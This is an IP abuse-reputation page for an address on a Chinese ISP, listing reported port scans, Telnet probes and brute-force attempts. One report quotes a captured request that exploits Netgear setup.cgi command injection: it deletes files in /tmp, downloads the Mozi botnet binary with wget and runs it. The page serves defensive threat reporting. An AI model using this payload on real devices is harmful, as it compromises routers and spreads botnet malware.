112.94.96.252

Neutral Activity There is no recent abuse activity, or the IP address is whitelisted.
Abuse Confidence Score
0% Low Risk
125 reports
26 reporters · latest 1 year ago
ISP
United-Communications-Network-Technology-Co-Ltd, GuangZhou
Usage Type
Fixed Line ISP
ASN
AS17622
Domain Name
chinaunicom.cn
Country
🇨🇳 China
City
Huashan, Guangdong
Log in to view charts and search reports for this IP. Log In

No reports in the last 60 days

112.94.96.252 has been reported 125 times. The most recent report is from .

The full history is preserved below and remains searchable. A 0% score reflects the absence of recent activity, but this is not a guarantee that earlier reports were invalid. Abuse confidence score decays, naturally, over time, when the abusive activity stops.

Abuse Reports

Total reports
125 from 26 distinct reporters
First reported
Most recent report
Reporter IoA Timestamp (UTC) Comment Categories
🇨🇳 ThreatBook.io
ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/112.94.96.252
SSH
Anonymous
Unauthorized connection attempt on Port 23
Port Scan Hacking Exploited Host
🇩🇪 Lazentis
Unauthorized access attempt to port 8080 (tcp)
Brute-Force SSH
🇺🇸 MPL
tcp/80 (9 or more attempts)
Port Scan
🇳🇱 EGP Abuse Dept
Unauthorized connection to Telnet port 23
Port Scan Hacking
🇺🇸 RAP
2025-08-29 23:08:50 UTC Unauthorized activity to TCP port 23. Telnet
Port Scan
🇺🇸 sumnone
Port probing on unauthorized port 23
Port Scan Hacking Exploited Host
🇩🇪 Admins@FBN
FW-PortScan: Traffic Blocked srcport=7165 dstport=23
Port Scan
Anonymous
Unauthorized connection attempt on Port 23
Port Scan Hacking Exploited Host
Anonymous
Unauthorized connection attempt
Port Scan Hacking Exploited Host
Anonymous
Unauthorized connection attempt
Port Scan Hacking Exploited Host
🇦🇹 Abuse Ip
telnet unauthorized access Port [23]
Hacking
🇲🇾 syokadmin
(mod_security) mod_security (id:77142265) triggered by 112.94.96.252 (CN/China/-): 1 in the last 3600 secs
Brute-Force
Anonymous
Unauthorized connection attempt
Port Scan Hacking Exploited Host
Anonymous
[14/Jun/2024:09:34:47 -0400] \"GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0\" Blank UA
Hacking

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown

Recently Reported IPs:

🇨🇳 175.30.48.96
🇦🇺 158.178.141.16
🇨🇿 149.6.24.245
🇳🇱 77.239.124.177
🇺🇦 193.194.107.35
🇹🇷 193.35.153.224
🇲🇽 187.228.251.237
🇺🇸 185.88.102.210
🇷🇺 95.188.85.163
🇸🇬 47.79.206.65
🇺🇸 205.210.31.58
🇩🇪 195.230.103.247
🇧🇬 193.24.211.219
🇷🇺 178.178.222.59
🇺🇸 148.135.0.242
🇫🇮 147.185.133.255
feedback